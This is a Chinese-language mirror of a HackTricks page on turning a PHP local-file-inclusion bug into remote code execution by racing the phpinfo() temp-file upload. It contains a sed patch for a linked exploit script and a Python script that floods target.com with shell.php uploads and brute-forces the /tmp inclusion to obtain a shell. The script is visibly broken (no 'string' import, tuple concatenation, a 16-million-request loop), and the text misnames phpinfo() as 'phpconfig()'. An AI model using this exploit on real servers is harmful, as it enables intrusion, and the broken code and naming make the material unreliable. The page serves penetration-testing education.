mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
4.4 KiB
4.4 KiB
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
要利用此漏洞,您需要:一个LFI漏洞,一个显示phpinfo()的页面,"file_uploads = on",并且服务器必须能够写入"/tmp"目录。
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
HTB教程:https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
您需要修复漏洞(将**=>更改为=>**)。要做到这一点,您可以执行:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
理论
如果在PHP中允许上传文件,并尝试上传文件,则该文件将存储在临时目录中,直到服务器完成处理请求,然后删除该临时文件。
因此,如果在Web服务器中发现了LFI漏洞,您可以尝试猜测创建的临时文件的名称,并在服务器删除之前访问临时文件以利用RCE。
在Windows中,文件通常存储在C:\Windows\temp\php中。
在Linux中,文件的名称通常是随机的,位于**/tmp中。由于名称是随机的,因此需要从某处提取临时文件的名称并在其被删除之前访问它。这可以通过读取函数“phpconfig()”内容中变量$_FILES**的值来完成。
phpinfo()
PHP使用4096B的缓冲区,当缓冲区满时,它会发送给客户端。然后客户端可以发送 大量大请求(使用大头部)上传一个php反向shell,等待phpinfo()的第一部分返回(其中包含临时文件的名称),并尝试在php服务器删除文件之前访问临时文件以利用LFI漏洞。
Python脚本尝试暴力破解名称(如果长度为6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。